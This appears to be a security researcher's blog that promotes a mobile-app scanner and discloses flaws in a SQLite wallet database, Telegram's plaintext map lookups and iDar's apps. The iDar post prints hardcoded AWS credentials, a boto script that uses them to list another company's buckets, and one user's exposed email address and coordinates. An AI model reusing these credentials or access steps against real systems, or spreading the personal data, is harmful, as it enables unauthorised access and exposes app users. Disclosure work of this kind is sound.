Friday, 2 May 2014

SQLite information leak

Hi, I like SQLite database.
Why? because it made my day :)

Here is good example: Mail.RU wallet application.
It with SQLite database onboard:




HackappPro can do 3 tricks with an SQLite database:

  1. Identify it in App,
  2. Represent it as SQL dump,
  3. Extract pice of deleted data (if vacuum operation has not been performed).

Let's try an app:




Aha! Test account and two active corporate accounts! You could try to find a password here, but this leak has been reported and already patched.

This SQLite checker is only implemented in HackappPro engine, to get a free trial contact me at info@hackapp.com.

And don't forget to vacuum your database ;)




Wednesday, 2 April 2014

HackApp PRO. Security is not condition, security is a process.

Dear friends!

Last two months we were like in hibernation, but we weren't! We were sitting in a deep dungeon and coding something special, that could be more useful, then just one-time-manual-scanning-on. And now, we are glad to introduce it!

Security is not condition, security is a process.

What if you are an owner of many applications, and you want to know how buggy they are? Each of them. Each release of each of them. Will you manually upload each release in HackApp or you perform a manual security audit by yourself? What if you have a few releases per day, and you can't  keep your developers on a short leash?

HackApp PRO can help you here.
It's a special kind of agent, which checks for updates of an app by a link provided, automatically downloads each new release, scans it and reports you the fact of release, all bugs in it and tracks history of all releases.


At first, you will see a dashboard with all apps added by you:




If you click your favorite one, you will see the whole history of releases:




Report page looks familiar:



In the files section you can search for a file:




you can set false-positive flags for some bugs and they will not bother you in further reports:


by clicking you can open a file right in your browser (if its mime type is supported)


SQLite dumps with deleted data extractor:



There is a short list of Pro version benifits: 
  1. Email report about new releases,
  2. Bugs from Android Manifest,
  3. All suspicious files identified as bugs,
  4. List of changed, added or removed files,
  5. False-Positive lists,
  6. Human-readable Binary XMLs from Android apps,
  7. SQLite container opened as SQL dumps + SuperFeature: Deleted data extractor (details)
  8. ... and tons of small fixes :) 

Interested ? Get Free 3 Months Pilot !

As you might have guessed, maintenance and development costs money, so we need to earn it to keep running. If you need time to understand whether HackApp Pro suits your DLC you can get 3 months free pilot with the following conditions:
  1. You prove that you are the owner of the App.
  2. You report all bugs in HackApp, you will find :)
  3. You write a feedback, which we can publish with the reference.
Sounds good? Contact us: info@hackapp.com 

P.S.
Basic version of HackApp remains absolutely free.

Thursday, 13 February 2014

Now we have Android Decompiler. How to use and why to use it ?

Hi, today we present our new great feature - automated decompiler for Android apps in our mobile apps scanner. This feature could be useful for security researchers and other Android enthusiasts.


From now on, the package with:

  • Disassembled code
  • Decompiled code 
  • Decompressed resources (XML in readable state)

becomes available by one click. 


The package's structure :
├── com.marblesecurity.access.androi.hackapped
│   ── com.opera.browser.yandex.decoded
│      ├── src
│      │   └── [JAVA code]
│      ├── smali
│      │   └── [Disassembled Classes]
│      ├── res
│      │   └── [Readable XML and pictures]
│      ├── lib
│      │   └── [ELF Shared objects and futher staff]
│      ├── assets
│      │   └── [Other resources]
|      ├── AndroidManifest.xml [readable]
|      |      ──apktool.yml [ config for apktool ]
── README.TXT
This structure was designed for convinet work with Android Studio, which you can download here absolutely free. Of course, you can't build App back, because of information loss during decompilation, but IDE could be quite suitable in code exploration. To open a package as a project, follow steps below:


>

>


>


>

>



To see IDE advantage here, compare disassembled and decompiled listings of the same classes:



All questions and suggestions are very wecome, as usual.

P.S.
This engine was designed with consideration of best practices of futher open source instruments:

Tuesday, 24 December 2013

Telegram secret chat geolocation leak.


UPD: I've just received  confirmation from Telegram, that a patched version was released a few  hours ago.  Here is the patch on github.

A few days ago Mr. Durov announced bug bounty for Telegram protocol decryption. Futher it will be shown how private data from a secret chat can be captured without any decryption methods due to a design failure.

Test environment:
- Android 4.3 launched in Virtual Box,
- Wireshark launched on host machine,
- HTC One with Android 4.0.3,
- Telegram 1.3.800 (in virtual box)

Method:
Let's install Telegram and create users Alice and Bob. After that, we are creating acconts in Telegram and adding each device to other's contact list.



Now we are starting a secret chat:



Sending a test message:


As we can see in wireshark - all data goes through SSL, and looks encrypted.

But what if we'll try to send attachment, for example a geolocation? Geolocations of secret chat members could be quit interesting in some cases :)? Let's tap 'send' button...







Bum!! We've got a clear-text TCP session!  Let's take a look a bit closer..





Telegarm uses a default unencrypted google-maps API to resolve map snippet. From a security and anonimity point of view this is THE fail. It means that a person who controls the channel can capture all "geo-attachments" going through a secret chat in both ways (incoming and outgoing) using just a passive sniffer.

In practice,  if  Mr. Snowden will send his geo-location using Telegram to someone, who is under NSA wiretapping, a tomahawk will be enough to make Gen. Alexander satisfied.

Tuesday, 3 December 2013

Android ? Yes, we can !

Dear friends, finally, after sleepless nights, we are proudly announcing the greatest update since the start : HackApp Android Apps Analyzer.
From now on, you can upload *.apk files or use direct link to apps hosted on Google Play. And there is a traditional step-by-step manual for dummies:

-

-

-


Android and iOS analizers work almost in the same way right now, but  for apps that have no DRM protection this is not enough of course, and the next step should be and will be binary static analysis of DEX (Dalvik Executable Format) classes.

Stay tuned ;)

Wednesday, 27 November 2013

How you should NEVER design your App. Part 1

After analisys of  thousands of applications (you can read about it here), we've drilled into a few cases manually. In the result, we found a group of vulnerabilities in designs, which, I think, should be revealed in details.

Why design's flaws? Often it can't be located with automated tools and can't be fixed with a simple patch - you have to redesigne the logic of your app. So, the cost of fix can become quite high. Today we will talk about a shared storage authentication.

Many apps (especially from "social networking" section) processes user's private data such as contacts, photos, geolocation by downloading it into cloud from devices. How does authentication and authorisation work here?

How I would like to see it

  1. Every user has his or her own auth-secret and private storage.
  2. Authentication and data goes through a secured channel (SSL socket, as an example)
all other is just a consequence of these two.

How does it actually work in some apps?

iDar LLC Products is a good example here. They have released 5 apps. 3 of them are free:


A few security-related words from vendor :



requested permissions:




Having applied http://hackapp.com :



AWS-secret - it's a prefix for access-tokens for Amazon cloud storage. Yes, Cloud  authentication secret is hardcoded in the app and shared between all installations. What's in the storage? By using this small python function we are enumirating buckets:

import boto
import boto.s3.connection
hook_conn = boto.connect_s3(aws_access_key_id = 'AKIAIBKQCDT68HKP66SQ',aws_secret_access_key = 'UpJrv49dOQEahn7/NmHK71mCqrMvqyAp569DrTSh')
for bucket in hook_conn.get_all_buckets():
        print "{name}\t{created}".format(name = bucket.name,created = bucket.creation_date)
keys = []
for key in bucket.list():
keys.append(key.name)
print "Files: ",len(keys)
Result:

dev_pub Files:  580
idarpub Files:  11
idd_prv Files:  190989
idd_pub Files:  1288
ide_pub Files:  72558
idf_pub Files:  0
idg_pub Files:  3136
idgpub Files:  4
idh_pub Files:  2900


Hmm...  .xml files in ide_pub. What's inside?

<person>
<deviceId>C5E0E4E1-9446-43D6-BE0C-368C8CEE1C1B-2061-00000122386F8407</deviceId>
<name>Vincentamaria215</name>
<isCompany>0</isCompany>
<isMale>1</isMale>
<age>0</age>
<seesMales>0</seesMales>
<seesFemales>1</seesFemales>
<theirOpinion></theirOpinion>
<myOpinion></myOpinion>
<myHearts>0</myHearts>
<theirHearts>0</theirHearts>
<latitude>39.919891</latitude>
<longitude>-75.173438</longitude>
<accuracy>0.000000</accuracy>
<lastInfoChange>373974150.028001</lastInfoChange>
<lastMoodChange>0.000000</lastMoodChange>
<lastPhotoChange>373974386.849133</lastPhotoChange>
<myContactXml>&lt;vcard format="vcarddav"&gt;&lt;n&gt;&lt;given&gt;&lt;text&gt;Vincentamaria215&lt;/text&gt;&lt;/given&gt;&lt;/n&gt;&lt;group name="work"&gt;&lt;/group&gt;&lt;group name="home"&gt;&lt;email&gt;&lt;text&gt;oldlimp@gmail.com&lt;/text&gt;&lt;/email&gt;&lt;/group&gt;&lt;group name="other"&gt;&lt;/group&gt;&lt;photo&gt;&lt;photofilename&gt;&lt;text&gt;yef66433b4cff0e2a385679807777df3e8a4b4967z74f3.jpeg&lt;/text&gt;&lt;/photofilename&gt;&lt;/photo&gt;&lt;/vcard&gt;</myContactXml>
</person>

Wow, it seems to be private profiles of the app users, with geolocations... Let's try Google Earth to represent the locations ...


Sweeer! But let's also take a look into other bukets, what's happening in, for example, idd_prv with 190989 files?



If it looks and feels like private photos, it seems to be private photos...


Moral of  the story

Cloud storage was compromised with all user's data in it by a stupid design flaw. So, we don't need to invent any malware with 0-day exploits to obtain user data while we have such apps in App Store.

P.S.



Remember these guys. They are iDar's developers, who have ignored my reports for a few weeks. 

Saturday, 19 October 2013

Quick look into Android .dex

Just started to work on APK analizer. Decompiled a few thousands compiled classes, and results are predictable sad:


It seems that Apple DRM  for binaries has a security side-effect. It makes vendor's fuckups not so obvious.